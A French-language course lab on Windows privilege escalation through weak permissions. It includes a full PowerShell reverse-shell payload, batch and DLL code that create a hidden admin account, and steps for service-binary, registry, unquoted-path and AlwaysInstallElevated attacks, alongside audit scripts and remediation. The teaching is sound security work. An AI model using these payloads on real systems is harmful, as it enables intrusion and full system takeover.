Lab 4.1: Escalade de Privilèges via Permissions Mal Configurées

Objectifs d'Apprentissage

À la fin de ce laboratoire, vous serez capable de:

Identifier les permissions dangereuses sur les fichiers et dossiers Windows
Exploiter les fichiers système avec permissions trop permissives
Comprendre et exploiter les services Windows mal configurés
Réaliser une escalade de privilèges de user à SYSTEM
Appliquer le principe du moindre privilège pour la défense
Auditer un système pour les erreurs de configuration de permissions

Durée Estimée

35 minutes

Prérequis

VM Windows 10/11 avec compte utilisateur standard
Compte administrateur disponible pour configuration initiale
Compréhension des permissions NTFS (cours théorique)
Labs des modules précédents complétés

Contexte Professionnel

L'escalade de privilèges est une étape critique dans la plupart des attaques. Après avoir obtenu un accès initial (user standard), l'attaquant cherche à obtenir des privilèges administrateur ou SYSTEM pour:

Installer des backdoors permanentes
Désactiver les antivirus et pare-feu
Accéder à toutes les données du système
Compromettre d'autres machines du réseau
Maintenir un accès long terme

Les mauvaises configurations de permissions sont une des causes principales d'escalade de privilèges en entreprise. Ce lab vous enseigne à les identifier et les exploiter dans un contexte contrôlé, puis à les corriger.

Cas d'usage professionnels:

Tests de pénétration interne
Audit de sécurité des postes de travail
Validation de conformité (CIS Benchmarks)
Analyse de surface d'attaque

AVERTISSEMENT ÉTHIQUE ET LÉGAL

Les techniques d'escalade de privilèges enseignées dans ce lab permettent d'obtenir un contrôle total d'un système Windows. Ces techniques sont utilisées par les attaquants pour compromettre des systèmes.

AUTORISÉ UNIQUEMENT:

Sur votre VM de test personnelle
Sur des systèmes dont vous êtes propriétaire ou administrateur autorisé
Dans le cadre de tests de pénétration avec contrat signé
Pour évaluation de sécurité avec autorisation écrite

STRICTEMENT INTERDIT:

Sur des systèmes d'entreprise sans autorisation formelle
Sur des ordinateurs qui ne vous appartiennent pas
Pour obtenir des accès non autorisés
Pour contourner des mesures de sécurité sans permission

CONSÉQUENCES LÉGALES: Escalade de privilèges non autorisée = Accès illégal à un système informatique (Code criminel canadien, article 342.1). Peines: amendes massives et emprisonnement.

Partie 1: Comprendre les Permissions Windows

Étape 1.1: Modèle de Sécurité Windows

Niveaux de privilèges:

User Standard
- Peut modifier ses propres fichiers
- Peut exécuter la plupart des programmes
- Ne peut PAS installer de logiciels système
- Ne peut PAS modifier les fichiers système
- Ne peut PAS accéder aux fichiers d'autres utilisateurs
Administrateur
- Peut installer des logiciels
- Peut modifier la configuration système
- Peut créer/supprimer des utilisateurs
- Peut modifier les permissions
- Limité par UAC sur certaines actions
SYSTEM
- Compte système Windows
- Privilèges MAXIMUM
- Plus puissant qu'administrateur
- Pas de restrictions UAC
- Contrôle total du système

Objectif de ce lab: Passer de User Standard à SYSTEM

Étape 1.2: Commande ICacls - Audit de Permissions

La commande icacls permet de voir et modifier les permissions NTFS.

Syntaxe de base:

icacls "C:\chemin\vers\fichier"

Lecture des permissions:

F  = Full control (Contrôle total)
M  = Modify (Modifier)
RX = Read & Execute (Lire et exécuter)
R  = Read (Lire)
W  = Write (Écrire)

Exemples de sortie:

C:\Windows\System32\calc.exe NT AUTHORITY\SYSTEM:(I)(F)
                            BUILTIN\Administrators:(I)(F)
                            BUILTIN\Users:(I)(RX)

Questions:

Quel est le niveau de privilège de votre compte actuel? (Exécutez whoami /groups)
Pouvez-vous modifier un fichier dans C:\Windows\System32 en tant que user standard?

Étape 1.3: Recherche de Fichiers avec Permissions Incorrectes

Commande de recherche:

icacls "C:\Program Files\*" /T 2>nul | findstr "Everyone:(F) Users:(F) %USERNAME%:(F)"

Explication:

Scanne tous les fichiers dans Program Files
/T = Récursif
2>nul = Ignore les erreurs
Cherche permissions Full Control pour Everyone, Users ou vous

Alternative PowerShell (plus puissant):

Get-ChildItem "C:\Program Files" -Recurse -ErrorAction SilentlyContinue | 
  ForEach-Object {
    $acl = Get-Acl $_.FullName
    $writeAccess = $acl.Access | Where-Object {
      ($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*Everyone*") -and
      ($_.FileSystemRights -match "FullControl|Modify|Write")
    }
    if ($writeAccess) {
      [PSCustomObject]@{
        Path = $_.FullName
        Identity = $writeAccess.IdentityReference
        Rights = $writeAccess.FileSystemRights
      }
    }
  }

Questions: 3. Avez-vous trouvé des fichiers avec permissions trop permissives? 4. Pourquoi ces permissions sont-elles dangereuses?

Partie 2: Exploitation de Service avec Binaire Writable

Étape 2.1: Concept de l'Attaque

Principe:

Un service Windows s'exécute en tant que SYSTEM
Le binaire (fichier .exe) du service a des permissions incorrectes
User standard peut MODIFIER le binaire
Remplacer par reverse shell ou backdoor
Redémarrer le service
Code malveillant s'exécute en tant que SYSTEM

Résultat: Escalade de User à SYSTEM en 2 étapes!

Étape 2.2: Créer un Service Vulnérable (Setup)

NOTE: Cette étape est faite par l'administrateur pour créer l'environnement vulnérable.

Sur votre VM, en tant qu'administrateur:

Créez un service simple VulnService.exe:

@echo off
REM Service simple qui ne fait rien
:loop
timeout /t 10 /nobreak > nul
goto loop

Sauvegardez comme VulnService.bat, puis créez un wrapper:

echo @echo off > C:\Services\VulnService.bat
echo :loop >> C:\Services\VulnService.bat
echo timeout /t 10 /nobreak ^> nul >> C:\Services\VulnService.bat
echo goto loop >> C:\Services\VulnService.bat

Créez le service:

sc create VulnService binPath= "C:\Services\VulnService.bat" start= auto
sc description VulnService "Service de test pour lab de sécurité"

Donnez permissions WRITE à Users (VOLONTAIREMENT vulnérable!):

icacls "C:\Services\VulnService.bat" /grant Users:F

Vérifiez:

icacls "C:\Services\VulnService.bat"

Devrait afficher: BUILTIN\Users:(F)

Étape 2.3: Énumération des Services (En tant que User)

Maintenant, connectez-vous en tant qu'utilisateur STANDARD.

Lister tous les services:

sc query type= service state= all

Trouver des services qui tournent en SYSTEM:

Get-WmiObject win32_service | 
  Where-Object {$_.StartMode -ne "Disabled"} | 
  Select-Object Name, DisplayName, PathName, StartName, State | 
  Format-Table -AutoSize

Cherchez particulièrement:

StartName = LocalSystem (SYSTEM)
Services personnalisés (pas Microsoft)

Identifier VulnService:

sc qc VulnService

Noter le chemin: C:\Services\VulnService.bat

Questions: 5. Combien de services s'exécutent en tant que SYSTEM? 6. Quel est le chemin du binaire de VulnService?

Étape 2.4: Vérification des Permissions du Binaire

Vérifier si vous pouvez modifier le fichier:

icacls "C:\Services\VulnService.bat"

Si vous voyez:

BUILTIN\Users:(F)

VULNÉRABILITÉ TROUVÉE! Vous pouvez modifier ce fichier!

Test de modification:

echo REM Test modification >> C:\Services\VulnService.bat

Si aucune erreur: Vous POUVEZ modifier! Exploitation possible!

Questions: 7. Pouvez-vous modifier le binaire du service en tant que user? 8. Quel est le compte qui exécute ce service?

Étape 2.5: Exploitation - Remplacer par Reverse Shell

Créez votre payload (reverse shell simple):

Sauvegardez payload.bat:

@echo off
REM Reverse shell vers 192.168.100.10:4444
powershell -WindowStyle Hidden -Command "$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

OU version simple qui crée un compte admin:

@echo off
net user hacker Password123! /add
net localgroup Administrateurs hacker /add

Remplacez le service:

copy C:\Services\VulnService.bat C:\Services\VulnService.bat.bak
copy payload.bat C:\Services\VulnService.bat

Redémarrez le service:

sc stop VulnService
sc start VulnService

BOOM! Le service s'exécute en tant que SYSTEM avec VOTRE code!

Si reverse shell: Votre listener reçoit connexion en SYSTEM
Si création de compte: Nouveau compte admin créé!

Vérification:

net user

Vous devriez voir le compte "hacker"!

net localgroup Administrateurs

Le compte "hacker" est dans le groupe Administrateurs!

Questions: 9. L'exploitation a-t-elle réussi? 10. Combien de temps a pris l'escalade complète (de la découverte à l'exploitation)?

Partie 3: Exploitation de DLL Hijacking

Étape 3.1: Comprendre le DLL Hijacking

Principe:

Quand un programme Windows démarre:

Cherche les DLL nécessaires
Ordre de recherche prédéfini (DLL Search Order)
Si DLL trouvée dans PATH avant le vrai emplacement: Chargée!

Ordre de recherche typique:

Dossier de l'application
System32
Windows
Dossier courant
Dossiers dans PATH

Exploitation:

Placer une DLL malveillante dans un dossier cherché en premier
Application charge NOTRE DLL au lieu de la légitime
Code malveillant exécuté avec les privilèges de l'application

Étape 3.2: Identifier les Applications Vulnérables

Outil: Process Monitor (Sysinternals)

Télécharger: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

Configuration:

Lancer Process Monitor en tant qu'admin
Filtres:
- Operation: CreateFile
- Path: ends with .dll
- Result: NAME NOT FOUND

Lancer une application et observer:

Vous verrez toutes les DLL que l'application cherche mais ne trouve pas!

Exemple de sortie:

explorer.exe  CreateFile  C:\Windows\version.dll  NAME NOT FOUND
explorer.exe  CreateFile  C:\Program Files\...\missing.dll  NAME NOT FOUND

Si un de ces chemins est writable par Users: EXPLOITATION POSSIBLE!

Étape 3.3: Créer une DLL Malveillante (Démonstration)

NOTE: Création de DLL nécessite compilation. Pour ce lab, nous utiliserons une DLL de test.

Concept d'une DLL malveillante:

// payload.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Code malveillant exécuté au chargement
        WinExec("cmd.exe /c net user hacker Pass123! /add", SW_HIDE);
        WinExec("cmd.exe /c net localgroup Administrators hacker /add", SW_HIDE);
    }
    return TRUE;
}

Compilation:

x86_64-w64-mingw32-gcc payload.c -shared -o version.dll

Placement:

copy version.dll "C:\Writable\Path\version.dll"

Redémarrage de l'application:

L'application charge la fausse DLL et exécute le code malveillant!

Questions: 11. Quelles applications ont cherché des DLL non trouvées? 12. Quels chemins sont writable par votre utilisateur?

Étape 3.4: Exploitation de PATH Variable

Vérifier votre PATH:

echo %PATH%

Chercher dossiers avec write access:

$env:PATH -split ';' | ForEach-Object {
    if (Test-Path $_) {
        $acl = Get-Acl $_
        $writeAccess = $acl.Access | Where-Object {
            ($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*$env:USERNAME*") -and
            ($_.FileSystemRights -match "Write|Modify|FullControl")
        }
        if ($writeAccess) {
            Write-Host "VULNERABLE: $_" -ForegroundColor Red
            Write-Host "  Permissions: $($writeAccess.FileSystemRights)"
        }
    }
}

Si un dossier dans PATH est writable:

Application cherche une DLL
DLL malveillante placée dans PATH writable
Windows la trouve et la charge
Code malveillant exécuté!

Démonstration:

REM Si C:\Tools est dans PATH et writable
copy malicious.dll C:\Tools\commonlib.dll

Prochaine application qui cherche commonlib.dll va charger la vôtre!

Partie 4: Exploitation de Fichiers Système Writable

Étape 4.1: Recherche de Fichiers Système avec Permissions Incorrectes

Script PowerShell d'énumération:

Write-Host "=== AUDIT DE PERMISSIONS - FICHIERS SYSTEME ===" -ForegroundColor Cyan

$systemPaths = @(
    "C:\Windows\System32",
    "C:\Windows\SysWOW64",
    "C:\Program Files",
    "C:\Program Files (x86)"
)

$vulnerableFiles = @()

foreach ($path in $systemPaths) {
    if (Test-Path $path) {
        Write-Host "`nScanning: $path" -ForegroundColor Yellow
        
        Get-ChildItem -Path $path -File -ErrorAction SilentlyContinue | ForEach-Object {
            try {
                $acl = Get-Acl $_.FullName -ErrorAction Stop
                $dangerousPerms = $acl.Access | Where-Object {
                    ($_.IdentityReference -like "*Users*" -or 
                     $_.IdentityReference -like "*Everyone*" -or 
                     $_.IdentityReference -like "*Authenticated Users*") -and
                    ($_.FileSystemRights -match "Write|Modify|FullControl") -and
                    ($_.AccessControlType -eq "Allow")
                }
                
                if ($dangerousPerms) {
                    $vulnerableFiles += [PSCustomObject]@{
                        File = $_.FullName
                        Identity = $dangerousPerms.IdentityReference -join ", "
                        Rights = $dangerousPerms.FileSystemRights -join ", "
                    }
                }
            } catch {}
        }
    }
}

if ($vulnerableFiles.Count -gt 0) {
    Write-Host "`n=== FICHIERS VULNERABLES TROUVES ===" -ForegroundColor Red
    $vulnerableFiles | Format-Table -AutoSize
} else {
    Write-Host "`nAucune vulnérabilité de permission trouvée." -ForegroundColor Green
}

Sauvegardez comme permission_audit.ps1 et exécutez:

powershell -ExecutionPolicy Bypass -File permission_audit.ps1

Résultat attendu:

Si système bien configuré: Aucune vulnérabilité
Si mal configuré: Liste de fichiers exploitables

Étape 4.2: Scénario - Exploitation de Binaire Writable

Si vous trouvez un fichier système writable:

Exemple: C:\Program Files\SomeApp\app.exe avec permissions Users:(M)

Exploitation:

Sauvegarder l'original:

copy "C:\Program Files\SomeApp\app.exe" "C:\Program Files\SomeApp\app.exe.bak"

Remplacer par payload:

copy evil_payload.exe "C:\Program Files\SomeApp\app.exe"

Attendre ou forcer l'exécution:
- Si service: sc start ServiceName
- Si application: L'utilisateur la lance
- Si tâche planifiée: Attendre l'heure
Payload s'exécute avec privilèges de l'application!

Questions: 13. Quels types de fichiers système pourriez-vous exploiter? 14. Comment un administrateur devrait-il configurer les permissions?

Partie 5: Unquoted Service Paths

Étape 5.1: Comprendre la Vulnérabilité

Problème: Service avec chemin contenant des espaces ET non entre guillemets

Exemple de service vulnérable:

binPath= C:\Program Files\My Service\service.exe

Windows va chercher dans cet ordre:

C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Service\service.exe

Si vous pouvez écrire dans C:\ ou C:\Program Files\:

Placer Program.exe ou My.exe
Windows l'exécutera en premier!
Avec privilèges du service (souvent SYSTEM)

Étape 5.2: Recherche de Services Vulnérables

PowerShell:

Get-WmiObject win32_service | 
  Where-Object {
    $_.PathName -notmatch '^".*"' -and 
    $_.PathName -match ' ' -and 
    $_.StartName -like '*System*'
  } | 
  Select-Object Name, PathName, StartName, State | 
  Format-List

CMD:

wmic service get name,pathname,startname | findstr /i /v "C:\Windows" | findstr /i /v """

Résultat typique:

Name: VulnerableService
PathName: C:\Program Files\Vulnerable App\service.exe
StartName: LocalSystem

ATTENTION aux espaces et absence de guillemets!

Étape 5.3: Exploitation

Si vous trouvez:

PathName: C:\Program Files\My Service\app.exe

Et que C:\Program Files\ est writable (rare mais possible):

Créez My.exe (payload):

copy payload.exe "C:\Program Files\My.exe"

Redémarrez le service:

sc stop VulnerableService
sc start VulnerableService

Windows exécute C:\Program Files\My.exe au lieu de My Service\app.exe!

Questions: 15. Avez-vous trouvé des services avec unquoted paths? 16. Pourquoi cette vulnérabilité existe-t-elle?

Partie 6: Permissions de Dossiers et AlwaysInstallElevated

Étape 6.1: AlwaysInstallElevated

Politique de registre dangereuse:

Si ces deux clés existent et sont à 1:

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1

Résultat: Tous les fichiers .msi s'installent avec privilèges SYSTEM!

Vérification:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Si les deux retournent 0x1: Vulnérabilité présente!

Exploitation:

Créer un .msi malveillant (avec msfvenom ou WiX Toolset)
Exécuter: msiexec /quiet /qn /i malicious.msi
Installation avec privilèges SYSTEM!
Payload exécuté en SYSTEM!

PowerShell - Vérification automatique:

function Test-AlwaysInstallElevated {
    $hklm = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
    $hkcu = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
    
    if ($hklm -eq 1 -and $hkcu -eq 1) {
        Write-Host "VULNERABLE: AlwaysInstallElevated activé!" -ForegroundColor Red
        return $true
    } else {
        Write-Host "Non vulnerable" -ForegroundColor Green
        return $false
    }
}

Test-AlwaysInstallElevated

Étape 6.2: Registre Writable

Certaines clés de registre contrôlent des services:

Chercher clés de services avec permissions write:

Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object {
    try {
        $acl = Get-Acl "Registry::$($_.Name)" -ErrorAction Stop
        $writeAccess = $acl.Access | Where-Object {
            $_.IdentityReference -like "*Users*" -and
            $_.RegistryRights -match "WriteKey|FullControl"
        }
        if ($writeAccess) {
            Write-Host "Vulnerable: $($_.PSChildName)"
            Write-Host "  Rights: $($writeAccess.RegistryRights)"
        }
    } catch {}
}

Si une clé de service est writable:

Modifier ImagePath (chemin du binaire):

reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\payload.exe" /f

Redémarrer service: Payload exécuté en SYSTEM!

Questions: 17. Des clés de registre de services sont-elles writables par Users? 18. Pourquoi permettre à Users de modifier le registre système est dangereux?

Partie 7: Détection et Défense

Étape 7.1: Script d'Audit Complet

Créez escalation_audit.ps1:

Write-Host "=== AUDIT D'ESCALADE DE PRIVILEGES ===" -ForegroundColor Cyan
Write-Host ""

# 1. Services avec binaires writable
Write-Host "[1] Services avec binaires modifiables" -ForegroundColor Yellow
Get-WmiObject win32_service | Where-Object {$_.PathName -and $_.StartName -like '*System*'} | ForEach-Object {
    $path = $_.PathName -replace '"','' -replace ' .*',''
    if (Test-Path $path) {
        try {
            $acl = Get-Acl $path -ErrorAction Stop
            $writeAccess = $acl.Access | Where-Object {
                ($_.IdentityReference -like "*Users*") -and
                ($_.FileSystemRights -match "Write|Modify|FullControl")
            }
            if ($writeAccess) {
                Write-Host "  VULNERABLE: $($_.Name)" -ForegroundColor Red
                Write-Host "    Path: $path"
                Write-Host "    Runs as: $($_.StartName)"
            }
        } catch {}
    }
}

# 2. Unquoted service paths
Write-Host "`n[2] Unquoted Service Paths" -ForegroundColor Yellow
Get-WmiObject win32_service | Where-Object {
    $_.PathName -notmatch '^".*"' -and 
    $_.PathName -match ' ' -and
    $_.StartName -like '*System*'
} | ForEach-Object {
    Write-Host "  VULNERABLE: $($_.Name)" -ForegroundColor Red
    Write-Host "    Path: $($_.PathName)"
}

# 3. AlwaysInstallElevated
Write-Host "`n[3] AlwaysInstallElevated" -ForegroundColor Yellow
$hklm = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
$hkcu = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
if ($hklm -eq 1 -and $hkcu -eq 1) {
    Write-Host "  VULNERABLE: AlwaysInstallElevated activé" -ForegroundColor Red
} else {
    Write-Host "  Non vulnerable" -ForegroundColor Green
}

# 4. Dossiers dans PATH writable
Write-Host "`n[4] Dossiers PATH writable" -ForegroundColor Yellow
$env:PATH -split ';' | ForEach-Object {
    if (Test-Path $_) {
        try {
            $acl = Get-Acl $_ -ErrorAction Stop
            $writeAccess = $acl.Access | Where-Object {
                ($_.IdentityReference -like "*Users*") -and
                ($_.FileSystemRights -match "Write|Modify|FullControl")
            }
            if ($writeAccess) {
                Write-Host "  VULNERABLE: $_" -ForegroundColor Red
            }
        } catch {}
    }
}

Write-Host "`n=== AUDIT TERMINE ===" -ForegroundColor Cyan

Exécutez:

powershell -ExecutionPolicy Bypass -File escalation_audit.ps1

Rapport complet de toutes les vulnérabilités d'escalade!

Étape 7.2: Correction des Permissions

Pour corriger une permission incorrecte:

Retirer write access pour Users:

icacls "C:\Services\VulnService.bat" /remove Users

Donner seulement Read & Execute:

icacls "C:\Services\VulnService.bat" /grant Users:RX

Donner Full Control uniquement à SYSTEM et Admins:

icacls "C:\Services\VulnService.bat" /grant SYSTEM:F
icacls "C:\Services\VulnService.bat" /grant Administrators:F

Vérifier:

icacls "C:\Services\VulnService.bat"

Devrait montrer:

NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
BUILTIN\Users:(RX)

Principe du moindre privilège appliqué!

Étape 7.3: Bonnes Pratiques

Pour éviter ces vulnérabilités:

Services:
- Toujours utiliser guillemets dans binPath
- Permissions restrictives sur binaires (RX pour Users max)
- Exécuter services avec comptes dédiés (pas SYSTEM si possible)
- Auditer régulièrement
Fichiers système:
- Jamais Full Control pour Users
- Modification réservée à SYSTEM et Admins
- Audit automatisé hebdomadaire
PATH:
- Pas de dossiers writable par Users dans PATH système
- Dossiers personnels seulement dans PATH utilisateur
Registre:
- Permissions strictes sur HKLM\SYSTEM
- Monitoring des modifications
- Alertes sur changements de services
AlwaysInstallElevated:
- Ne JAMAIS activer cette politique
- Vérifier régulièrement qu'elle est désactivée

Questions: 19. Quelle est la permission la plus sécurisée pour un binaire de service? 20. Comment automatiseriez-vous l'audit de permissions?

Livrables

À remettre:

Rapport d'exploitation (Word/PDF, 4-5 pages):
- Réponses aux 20 questions
- Méthodologie d'escalade utilisée
- Temps mesuré pour chaque étape
- Captures d'écran des exploitations réussies
Captures d'écran (minimum 6):
- Compte user standard initial (whoami)
- Découverte de service vulnérable (icacls)
- Modification du binaire du service
- Compte SYSTEM obtenu ou admin créé
- Résultat du script permission_audit.ps1
- Permissions corrigées
Script d'audit (PowerShell):
- Version améliorée de permission_audit.ps1
- Export des résultats en CSV
- Rapport HTML généré
Plan de remédiation (2 pages):
- Liste des vulnérabilités trouvées
- Priorisation par risque
- Actions correctives recommandées
- Timeline d'implémentation

Critères d'Évaluation

Critère	Points
Identification de vulnérabilités de permissions	25%
Exploitation réussie (escalade de privilèges)	30%
Compréhension des vecteurs d'attaque	20%
Script d'audit fonctionnel	15%
Plan de remédiation réaliste	10%

Commandes de Référence Rapide

Énumération

whoami /all
icacls "fichier.exe"
sc query type= service state= all
wmic service get name,pathname,startname
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

PowerShell

Get-Acl "fichier" | Format-List
Get-WmiObject win32_service
Get-ChildItem -Recurse | Get-Acl

Exploitation

copy payload.exe "vulnerable_path.exe"
sc stop ServiceName
sc start ServiceName
net user hacker Pass123! /add
net localgroup Administrators hacker /add

Correction

icacls "file" /remove Users
icacls "file" /grant Users:RX
icacls "file" /grant SYSTEM:F

Dépannage

Problème: "Accès refusé" lors de modification de fichier

Solution: C'est normal si les permissions sont correctes! Cherchez d'autres fichiers ou créez un service vulnérable pour le lab.

Problème: Aucun service vulnérable trouvé

Solution: Créez-en un volontairement (Étape 2.2) pour pratiquer l'exploitation.

Problème: Service ne redémarre pas

Solution:

Vérifiez que le service existe: sc query ServiceName
Vérifiez les permissions: droits admin peuvent être requis
Vérifiez les logs: eventvwr.msc → Windows Logs → System

Aller Plus Loin (Optionnel)

Challenge 1: Automated Exploitation

Créez un script qui:

Scanne automatiquement tous les services
Identifie ceux avec binaires writable
Génère des payloads appropriés
Liste toutes les voies d'escalade possibles

Challenge 2: PowerUp

Utilisez l'outil PowerUp (PowerShell Empire):

Import-Module .\PowerUp.ps1
Invoke-AllChecks

Comparez avec votre script d'audit.

Challenge 3: Privilege Escalation Database

Recherchez et documentez:

Windows Exploit Suggester
JAWS (Just Another Windows enum Script)
WinPEAS
Sherlock

Testez-les sur votre VM et comparez les résultats.

Ressources Additionnelles

Conclusion

Ce lab vous a enseigné:

Identifier les vulnérabilités de permissions Windows
Exploiter les services mal configurés pour escalade de privilèges
Comprendre les vecteurs d'attaque: binaires writable, DLL hijacking, unquoted paths
Réaliser un audit complet de permissions
Appliquer le principe du moindre privilège

Leçons clés:

Les permissions incorrectes sont une cause majeure d'escalade de privilèges
Services exécutés en SYSTEM avec binaires modifiables = vulnérabilité critique
Audit régulier des permissions est essentiel
Le principe du moindre privilège doit être appliqué systématiquement
L'automatisation de l'audit permet de détecter rapidement les problèmes

Dans un environnement réel:

Ces vulnérabilités sont communes, surtout dans applications tierces
Exploitation peut prendre moins de 5 minutes
Détection difficile sans monitoring approprié
Impact critique: contrôle total du système

Prochaine étape: Lab 4.2 où vous apprendrez à cacher des fichiers malveillants en utilisant les Alternate Data Streams de NTFS!

Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 4

Objectifs d'Apprentissage​

Durée Estimée​

Prérequis​

Contexte Professionnel​

AVERTISSEMENT ÉTHIQUE ET LÉGAL​

Partie 1: Comprendre les Permissions Windows​

Étape 1.1: Modèle de Sécurité Windows​

Étape 1.2: Commande ICacls - Audit de Permissions​

Étape 1.3: Recherche de Fichiers avec Permissions Incorrectes​

Partie 2: Exploitation de Service avec Binaire Writable​

Étape 2.1: Concept de l'Attaque​

Étape 2.2: Créer un Service Vulnérable (Setup)​

Étape 2.3: Énumération des Services (En tant que User)​

Étape 2.4: Vérification des Permissions du Binaire​

Étape 2.5: Exploitation - Remplacer par Reverse Shell​

Partie 3: Exploitation de DLL Hijacking​

Étape 3.1: Comprendre le DLL Hijacking​

Étape 3.2: Identifier les Applications Vulnérables​

Étape 3.3: Créer une DLL Malveillante (Démonstration)​

Étape 3.4: Exploitation de PATH Variable​

Partie 4: Exploitation de Fichiers Système Writable​

Étape 4.1: Recherche de Fichiers Système avec Permissions Incorrectes​

Étape 4.2: Scénario - Exploitation de Binaire Writable​

Partie 5: Unquoted Service Paths​

Étape 5.1: Comprendre la Vulnérabilité​

Étape 5.2: Recherche de Services Vulnérables​

Étape 5.3: Exploitation​

Partie 6: Permissions de Dossiers et AlwaysInstallElevated​

Étape 6.1: AlwaysInstallElevated​

Étape 6.2: Registre Writable​

Partie 7: Détection et Défense​

Étape 7.1: Script d'Audit Complet​

Étape 7.2: Correction des Permissions​

Étape 7.3: Bonnes Pratiques​

Livrables​

Critères d'Évaluation​

Commandes de Référence Rapide​

Énumération​

PowerShell​

Exploitation​

Correction​

Dépannage​

Problème: "Accès refusé" lors de modification de fichier​

Problème: Aucun service vulnérable trouvé​

Problème: Service ne redémarre pas​

Aller Plus Loin (Optionnel)​

Challenge 1: Automated Exploitation​

Challenge 2: PowerUp​

Challenge 3: Privilege Escalation Database​

Ressources Additionnelles​

Conclusion​

Objectifs d'Apprentissage

Durée Estimée

Prérequis

Contexte Professionnel

AVERTISSEMENT ÉTHIQUE ET LÉGAL

Partie 1: Comprendre les Permissions Windows

Étape 1.1: Modèle de Sécurité Windows

Étape 1.2: Commande ICacls - Audit de Permissions

Étape 1.3: Recherche de Fichiers avec Permissions Incorrectes

Partie 2: Exploitation de Service avec Binaire Writable

Étape 2.1: Concept de l'Attaque

Étape 2.2: Créer un Service Vulnérable (Setup)

Étape 2.3: Énumération des Services (En tant que User)

Étape 2.4: Vérification des Permissions du Binaire

Étape 2.5: Exploitation - Remplacer par Reverse Shell

Partie 3: Exploitation de DLL Hijacking

Étape 3.1: Comprendre le DLL Hijacking

Étape 3.2: Identifier les Applications Vulnérables

Étape 3.3: Créer une DLL Malveillante (Démonstration)

Étape 3.4: Exploitation de PATH Variable

Partie 4: Exploitation de Fichiers Système Writable

Étape 4.1: Recherche de Fichiers Système avec Permissions Incorrectes

Étape 4.2: Scénario - Exploitation de Binaire Writable

Partie 5: Unquoted Service Paths

Étape 5.1: Comprendre la Vulnérabilité

Étape 5.2: Recherche de Services Vulnérables

Étape 5.3: Exploitation

Partie 6: Permissions de Dossiers et AlwaysInstallElevated

Étape 6.1: AlwaysInstallElevated

Étape 6.2: Registre Writable

Partie 7: Détection et Défense

Étape 7.1: Script d'Audit Complet

Étape 7.2: Correction des Permissions

Étape 7.3: Bonnes Pratiques

Livrables

Critères d'Évaluation

Commandes de Référence Rapide

Énumération

PowerShell

Exploitation

Correction

Dépannage

Problème: "Accès refusé" lors de modification de fichier

Problème: Aucun service vulnérable trouvé

Problème: Service ne redémarre pas

Aller Plus Loin (Optionnel)

Challenge 1: Automated Exploitation

Challenge 2: PowerUp

Challenge 3: Privilege Escalation Database

Ressources Additionnelles

Conclusion